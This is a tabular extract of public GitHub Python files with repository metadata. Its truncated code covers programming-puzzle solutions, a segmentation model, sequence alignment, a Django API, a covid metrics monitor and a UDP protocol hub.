Mrd278/Codeforces_Java | 11,038,065,962,339 | ca6d5eb6e80f21168162116b6233e9ebc65d31ab | a1a15238fc09c8b19504deb6d2610d3d315e7430 | /ServiceLane.py | 9174576c74485205ea4cc6b404e375ce071cef93 | [] | no_license | https://github.com/Mrd278/Codeforces_Java | d84b53e1afe66dd468cb4b878be31e8e8c779e65 | b0984f2b74e3a1c75d7de3ef0b33c86dc39e8d91 | refs/heads/master | 2020-12-27T15:45:13.641177 | 2020-07-15T10:19:34 | 2020-07-15T10:19:34 | 237,956,866 | 2 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | n, t = map(int, input().split())
x = list(map(int, input().split()))
for i in range(t):
a,b = map(int, input().split())
print(min(x[a:b+1])) | UTF-8 | Python | false | false | 148 | py | 280 | ServiceLane.py | 280 | 0.547297 | 0.540541 | 0 | 5 | 28.8 | 35 |
chuzcjoe/Leetcode | 18,562,848,663,667 | ab842b457608cb4ffce2b07dadab1552928cf350 | 81b80dcb5dae151903bed55bc717942edb4ecadb | /121. Best Time to Buy and Sell Stock.py | ca1d5458f58093000d5493130352bd9fe2ea9851 | [] | no_license | https://github.com/chuzcjoe/Leetcode | 742bbb71e08ae8833865174b40e4a8f3c2529916 | a6eb22c3f84459c3c054c00aec59d0d87b685bfa | refs/heads/master | 2021-07-10T15:40:47.332063 | 2020-09-27T23:54:13 | 2020-09-27T23:54:13 | 198,936,895 | 6 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | class Solution:
def maxProfit(self, prices: List[int]) -> int:
left = 0
res = 0
for right in range(1,len(prices)):
while prices[left] > prices[right]:
left += 1
res = max(res, prices[right]-prices[... | UTF-8 | Python | false | false | 356 | py | 392 | 121. Best Time to Buy and Sell Stock.py | 386 | 0.418539 | 0.407303 | 0 | 14 | 23.571429 | 54 |
CarlosGAO/GetMachineinfor_py | 3,307,124,837,067 | 5d335159e5e8305d87e660c5c6c17983c31867d4 | 67ca863be8b556fbf2b81e1d3b759c1a0f4a8054 | /handlers.py | 6bd3f4910171a3af314a82e1a35013fa7a17d5ac | [] | no_license | https://github.com/CarlosGAO/GetMachineinfor_py | a89b35b5376a6ae82446c235723454145f92f0e1 | 92f4a29fb1c355c04c5cb59f28ff9c8815864683 | refs/heads/master | 2021-01-09T20:15:33.051304 | 2016-08-02T06:52:54 | 2016-08-02T06:52:54 | 64,727,092 | 0 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | #!/usr/bin/python
from __future__ import division
class Handler():
###GET OS VERTION##########################################
def os_ver(self,datasrc):
self.f = open(datasrc, 'r')
for line in self.f:
line = line.strip()
if line.startswith('Description:'):
s... | UTF-8 | Python | false | false | 3,219 | py | 6 | handlers.py | 5 | 0.497049 | 0.481827 | 0 | 84 | 37.321429 | 128 |
yshenkai/DeepLabV3 | 18,777,597,050,301 | f79074214b6538a2b214d4908203f48d436dba70 | b0e71a6b8854e3c13f7b06432f9fbd626a2bdcab | /model.py | 5e8680b4f0bc2b0c21844f7daa40d2bcefe5dc41 | [] | no_license | https://github.com/yshenkai/DeepLabV3 | 3517aee142b4870ed75f44e39d471fb445fd0bc2 | 8e4ba0c4e856da109518764cae1e03b4e2a751ff | refs/heads/master | 2020-08-08T11:18:41.479909 | 2019-10-09T04:33:12 | 2019-10-09T04:33:12 | 213,820,500 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | from keras.models import Model
from keras.layers import Input,Conv2D,DepthwiseConv2D,Activation,BatchNormalization,Add,Concatenate,ZeroPadding2D,Reshape,Lambda
from keras.layers import UpSampling2D,AveragePooling2D,Dropout
from keras.engine.topology import get_source_inputs
from keras import backend as K
from keras.uti... | UTF-8 | Python | false | false | 9,153 | py | 5 | model.py | 5 | 0.679449 | 0.641538 | 0 | 211 | 42.383886 | 165 |
JosephFranc/scribe | 15,212,774,192,247 | d2ec5be62115b9479d01ea7c431c497c4c319929 | 187b793afe39b5de5ea9f90adf721cc9274722ca | /getTextLineDots.py | a872dbac89d7383035c8d9f2eb48c11ee9afc9f0 | [] | no_license | https://github.com/JosephFranc/scribe | 890614e65b41a93a08cb863b1de014106cb2c79b | 7b8691104968d3b209a71321028e5fdf754530fe | refs/heads/master | 2020-12-24T11:36:56.262299 | 2016-12-17T03:48:46 | 2016-12-17T03:48:46 | 73,027,666 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import cv2
'''
Find bottom points of each line of text that could do robust linear regression on
Dots are shown in green circles (r = 1 pixel)
'''
def getTextLineBox(gray):
_,thresh = cv2.threshold(gray,150,255,cv2.THRESH_BINARY_INV) # threshold
kernel = cv2.getStructuringElement(cv2.MORPH_CROSS,(3,3))
d... | UTF-8 | Python | false | false | 1,074 | py | 17 | getTextLineDots.py | 16 | 0.648976 | 0.620112 | 0 | 32 | 32.5625 | 111 |
HenryBalthier/Python-Learning | 3,186,865,752,570 | 1c6aa52cfe852f1e582d5dc91cfb55daa14e5c3e | ad43681693a65fee270ef8d6ab1ed2b59c5391f2 | /Leetcode_medium/array/39.py | 862245caa5dfdb4ea2b7667e661da424b2b04a66 | [] | no_license | https://github.com/HenryBalthier/Python-Learning | 7def31dad56a9d754762839000733fd9443c4576 | 93cbb01487a61e37159e8bdd4bf40f623e131c19 | refs/heads/master | 2021-01-24T08:11:39.857854 | 2017-09-24T12:19:27 | 2017-09-24T12:19:27 | 93,374,219 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | class Solution(object):
def combinationSum(self, candidates, target):
"""
:type candidates: List[int]
:type target: int
:rtype: List[List[int]]
"""
if candidates == []:
return []
cand = sorted(candidates, reverse=True)
result = []
l... | UTF-8 | Python | false | false | 820 | py | 237 | 39.py | 235 | 0.442683 | 0.435366 | 0 | 31 | 25.483871 | 49 |
octeufer/Annotate_Optimize | 19,052,474,937,464 | f699b4d17589eb1e91aefc6c2090f5ef23e11241 | 5c0ed45894794670f6a5f18992d8c1f1f481c510 | /crossalgorithm.py | 5bbe6662e2a449528cc4f25fa8d3b8771f3eb310 | [
"Apache-2.0"
] | permissive | https://github.com/octeufer/Annotate_Optimize | 97275eb96a6df37f7389181df84659a9ebfaec44 | 32d9cecc0159882d3f962990aba07168c4a023f5 | refs/heads/master | 2022-09-09T09:43:26.362393 | 2020-06-02T21:47:20 | 2020-06-02T21:47:20 | 54,598,397 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | def crossornot(line1,line2):
d1 = crossf(line1[0],line1[1],line1[0],line2[0])
d2 = crossf(line1[0],line1[1],line1[0],line2[1])
d3 = crossf(line2[0],line2[1],line2[0],line1[0])
d4 = crossf(line2[0],line2[1],line2[0],line1[1])
if d1*d2 < 0 and d3*d4 < 0:
return True
else:
... | UTF-8 | Python | false | false | 1,286 | py | 9 | crossalgorithm.py | 8 | 0.553738 | 0.472741 | 0 | 37 | 32.756757 | 181 |
d33psky/mountwizzard | 13,632,226,206,190 | a4442fdd5f08f8b3307f66e41ccd30bcfcc26a1c | ecd8456f0ce01d6020a085fdbf789c9902fc4fd0 | /mountwizzard/support/coordinate_dialog_ui.py | e9ae549688adcc0dfe8652faefce1143e1423c04 | [] | no_license | https://github.com/d33psky/mountwizzard | 05fd28ae650c92d7aa3135927320c37b2fae61ab | cbd17d722cafe1f8e1316bce5f8bcbfa8005ac6b | refs/heads/master | 2021-01-17T14:05:32.899626 | 2017-03-16T19:39:14 | 2017-03-16T19:39:14 | 83,466,180 | 0 | 0 | null | true | 2017-02-28T18:33:46 | 2017-02-28T18:33:46 | 2017-02-22T22:35:02 | 2017-02-26T19:53:02 | 31,502 | 0 | 0 | 0 | null | null | null | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'coordinate_dialog_ui.ui'
#
# Created by: PyQt5 UI code generator 5.7.1
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_CoordinateDialog(object):
def setupUi(self, CoordinateD... | UTF-8 | Python | false | false | 7,427 | py | 14 | coordinate_dialog_ui.py | 10 | 0.691178 | 0.658855 | 0 | 144 | 50.555556 | 174 |
north-jewel/data_analysis | 13,761,075,243,114 | ffc15645c52a881e3ad0ec51fb997880c1c2d6f4 | a886d4a2fc8febfff2686cb829b9cfaba2945f43 | /homework/赵孟-mrzhao666/笔记/画图笔记.py | d865d9cda370170fb7dc3ae6e36daa7cae5491f1 | [] | no_license | https://github.com/north-jewel/data_analysis | 017f4eedd6c1f00f187f9736d1b9afd980e97e0b | 6e077a6d777d9a339095fb133b7d9a6f9d408743 | refs/heads/master | 2020-04-03T20:32:39.514601 | 2019-01-06T12:52:16 | 2019-01-06T12:52:16 | 155,548,428 | 8 | 6 | null | false | 2018-11-20T09:13:38 | 2018-10-31T11:46:17 | 2018-11-20T09:11:40 | 2018-11-20T09:13:37 | 1,467 | 4 | 3 | 0 | Jupyter Notebook | false | null | import matplotlib.pyplot as plt
#散点图,marker形状
plt.scatter(x,y,s = 大小,c = 颜色,marker = '*')
#柱形图,
plt.bar(x,height = y,bottom = '从哪里开始图色')
#饼状图,参数:数据,要不要突出,数据标签,
#百分比的小数位,带不带阴影,从多少度开始画
plt.pie(sizes,explode = explode,
labels = labels,autopct = '%1.2f%%',shadow = True,startangle = 90)
plt.plot(x,y,color = '... | UTF-8 | Python | false | false | 2,556 | py | 488 | 画图笔记.py | 202 | 0.674332 | 0.647594 | 0 | 91 | 19.494505 | 99 |
dash1291/smexplorer | 3,384,434,242,900 | 1c6ae39dad5d277561f5c3cdd0d4f36f47849541 | f2bde53e6d7182823c3241a2d924e31ce88ac9ca | /api/views.py | 0608f53525025e95d7f2064be94ee8b8f4ad7ce9 | [] | no_license | https://github.com/dash1291/smexplorer | 1ed1a4303a2a812c202de3343adb4fbb34245f10 | f431431f0b009db80be51d1acc9e419730740b52 | refs/heads/master | 2022-01-24T01:12:48.022959 | 2012-11-28T12:11:49 | 2012-11-28T12:11:49 | 3,686,886 | 1 | 0 | null | false | 2022-01-06T22:22:55 | 2012-03-11T13:29:10 | 2014-01-20T14:30:59 | 2022-01-06T22:22:55 | 528 | 4 | 3 | 2 | Python | false | false | from django.http import HttpResponse
from api.helpers import encode_xml, encode_json
from explorer.models import Directory, File
class ApiBase(object):
def __call__(self, request, *args, **kwargs):
self.format = request.REQUEST.get('format')
self.mimetype = ('text/xml' if self.format == 'xml ' else 'application... | UTF-8 | Python | false | false | 1,084 | py | 27 | views.py | 15 | 0.701107 | 0.701107 | 0 | 38 | 27.552632 | 79 |
jmhubbard/quote_of_the_day_custom_user | 14,113,262,554,693 | 06044e1a90200ea2fd43df4a1c20efba2d3f4cda | c074fb834cb4a8ac75d107146df10f9496590792 | /shows/migrations/0003_show_subscribers.py | d41d63880823db5c96ce280c69de7690bd2261cb | [
"Unlicense"
] | permissive | https://github.com/jmhubbard/quote_of_the_day_custom_user | 4d5ffd4183d7e6290161b84cae2aa1f7ad621a99 | 27024b2953c1c94fd2970563c3ab31ad444912b6 | refs/heads/master | 2023-02-19T00:59:27.372671 | 2021-01-10T02:45:56 | 2021-01-10T02:45:56 | 293,443,918 | 1 | 0 | Unlicense | false | 2020-12-03T17:59:59 | 2020-09-07T06:41:25 | 2020-12-03T08:41:21 | 2020-12-03T17:59:59 | 607 | 1 | 0 | 0 | Python | false | false | # Generated by Django 3.1.1 on 2020-09-09 03:24
from django.conf import settings
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('subscriptions', '0002_subscription_is_subscribed'),
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
... | UTF-8 | Python | false | false | 596 | py | 81 | 0003_show_subscribers.py | 58 | 0.647651 | 0.60906 | 0 | 21 | 27.380952 | 108 |
FaiZaman/Dynamic-Heuristic-Local-Alignments | 18,614,388,276,960 | 5e957e3e4cfcdcf17e6d97251fd4a948646b5d0b | dfcaa807af88352027a5ec63418b42cf6daaa883 | /FASTA.py | ae4f4591f04085bdfdf27a52da94c234a9b5c21e | [
"MIT"
] | permissive | https://github.com/FaiZaman/Dynamic-Heuristic-Local-Alignments | 2093cc8ddfef54aceeb01ce0c7cd684351cd85e8 | 15bff8ddbf66e4c6bb53537562f8976752cef935 | refs/heads/master | 2020-09-21T20:17:10.457814 | 2019-12-08T14:33:25 | 2019-12-08T14:33:25 | 224,914,557 | 2 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import numpy as np
from heapq import nlargest
def heuralign(alphabet, substitution_matrix, seq1, seq2):
# defining parameters
ktup = 2 # length of matches
cutoff_score = -3 # cutoff score when scoring diagonals
width = 29 # width of band for banded DP
n = 3 # number of diagonals to run banded DP on
# get t... | UTF-8 | Python | false | false | 9,874 | py | 7 | FASTA.py | 4 | 0.669232 | 0.642901 | 0 | 300 | 31.916667 | 133 |
yuxng/posecnn-pytorch | 16,045,997,827,370 | 47eb9e7ab79c046d06d536d83ead09d4678a5d4d | 4bb67e283093cc8c6b087b1be5be2393518e8da7 | /ycb_toolbox/compute_train_test_sets.py | 6da19b9322231b87c8222a1babec3a563b6e115d | [
"MIT"
] | permissive | https://github.com/yuxng/posecnn-pytorch | cc6a0f88eebbfc6cde0948510d2ed3c74b75faea | 58ff2320eb97e458f4514bae2d7e4ac0e677024b | refs/heads/master | 2023-07-02T07:34:09.913514 | 2021-07-30T05:02:40 | 2021-07-30T05:02:40 | 149,823,279 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import os
import os.path as osp
import numpy as np
import glob
import scipy.io
from ycb_globals import ycb_video
this_dir = os.getcwd()
root_path = osp.join(this_dir, '..', 'data', 'YCB_Self_Supervision', 'data')
opt = ycb_video()
classes = opt.classes
num_scenes = 0
num_images = 0
num_classes = len(classes)
num_sce... | UTF-8 | Python | false | false | 3,900 | py | 164 | compute_train_test_sets.py | 144 | 0.546923 | 0.535897 | 0 | 132 | 28.545455 | 86 |
XiaodongRencologne/FYST_HOLO | 16,166,256,934,546 | d1ae69c276d971f2a755702576476462eb7ed12c | a33ef12a873b8626b18bb0194a2fca809024c7cd | /Kirchhoffpy/BeamPattern.py | 17394a5bbb152b10eca1927ff94c340d2d2cf1ad | [] | no_license | https://github.com/XiaodongRencologne/FYST_HOLO | 707c08c11549a29c58bb9327d02d3628a7b2c73e | 07b39c56e56451c8e6579c81255516f5425c4fc5 | refs/heads/master | 2023-06-02T18:42:14.405286 | 2022-08-15T19:47:06 | 2022-08-15T19:47:06 | 379,660,118 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | #!/usr/bin/env python
# coding: utf-8
# In[ ]:
#!/usr/bin/env python
# In[1]:
import numpy as np;
import matplotlib.pyplot as plt;
# In[22]:
'''1. square pattern'''
def squarePattern(u0,v0,urange,vrange,Nu,Nv,file='',distance='far',Type='on-axis'):
if Type=='on-axis':
grid=np.moveaxis(np.meshgri... | UTF-8 | Python | false | false | 2,840 | py | 40 | BeamPattern.py | 15 | 0.530282 | 0.502465 | 0 | 95 | 28.852632 | 114 |
clambin/covid19mon | 6,622,839,597,753 | 214f97a464f157da01b5b46c18681b5ab2daa21e | 5d3f205eef66a1b9dd9c6112e197231b60ec9433 | /covid19/monitor/monitor.py | 376880b68e5f928d798b11cbc53c379835ccabb7 | [
"MIT"
] | permissive | https://github.com/clambin/covid19mon | 4becb44f608edb119168402066e0b1ad1e3b9c59 | 78a2f7144f4b15c707208115ea99bea772eb95f6 | refs/heads/master | 2023-01-14T13:52:03.543914 | 2020-11-22T23:28:48 | 2020-11-22T23:28:48 | 260,452,755 | 0 | 0 | MIT | false | 2020-11-16T21:00:31 | 2020-05-01T12:22:01 | 2020-10-15T13:07:35 | 2020-11-16T21:00:31 | 255 | 0 | 0 | 0 | Python | false | false | import logging
from prometheus_client import start_http_server
from pimetrics.scheduler import Scheduler
from covid19.version import version
from covid19.monitor.configuration import print_configuration
from covid19.probes.population import PopulationProbe
from covid19.pgconnectors.population import PopulationPGConnect... | UTF-8 | Python | false | false | 2,136 | py | 32 | monitor.py | 23 | 0.717697 | 0.707865 | 0 | 58 | 35.827586 | 109 |
NicktheGreek1985/PythonCGIProjects | 15,324,443,312,186 | bcfc3637c9bfb32fbeb9f092105c65725e49d82d | dc0450275755946f39d232474df9e9e1bc38177f | /DBs Using Python CGI/Mondial/provinces_25.py | debba145566b573694e6cf2719faea2e28851665 | [] | no_license | https://github.com/NicktheGreek1985/PythonCGIProjects | aeb64adb8d7f3f761132de047a32c8107f77f382 | a7aff2dfd8fe95832759741f4c279c848619ee08 | refs/heads/master | 2021-09-03T10:00:44.526009 | 2018-01-08T07:18:17 | 2018-01-08T07:18:17 | 113,730,571 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | #!/usr/bin/python
print('Content-type: text/html\n')
import cgi
import cgitb; cgitb.enable()
import sqlite3
from DB_Functions import *
mydb = 'mondial.db'
conn = sqlite3.connect(mydb)
cursor = conn.cursor()
startHTML('Mondial Database', 'stylesheet')
print('<h1>Twenty five Provinces</h1>')
print('<p>The following t... | UTF-8 | Python | false | false | 677 | py | 182 | provinces_25.py | 100 | 0.747415 | 0.738552 | 0 | 26 | 25.038462 | 175 |
strawbot/sfpPython | 13,288,628,858,624 | 54203c13fe68ca23b004096345a9e082e14b6803 | b5e309238b96f2c3de5a6b1dce0395ade6e4ccdd | /interface/ipHub.py | 089a981a2f37adc8775e8ad90c58a31013811959 | [] | no_license | https://github.com/strawbot/sfpPython | 3210255344cf8096efe503a2b2c792436c17b835 | 53d78beb02d6e450f392953ee8fec11d579fa648 | refs/heads/master | 2023-08-16T23:50:19.094276 | 2023-08-14T09:06:04 | 2023-08-14T09:06:17 | 87,775,168 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | # support for TT over ip using UDP Robert Chapman Jul 24, 2018
# inputs periodically send frames to let TT know they can be connected to
from .interface import Hub, Port
import socket
import sys, traceback, errno
import time
from threading import Thread
from protocols import sfp, pids
remote_ip = '192.168.0.9'
sfp... | UTF-8 | Python | false | false | 5,013 | py | 31 | ipHub.py | 30 | 0.537403 | 0.528426 | 0 | 148 | 32.871622 | 96 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.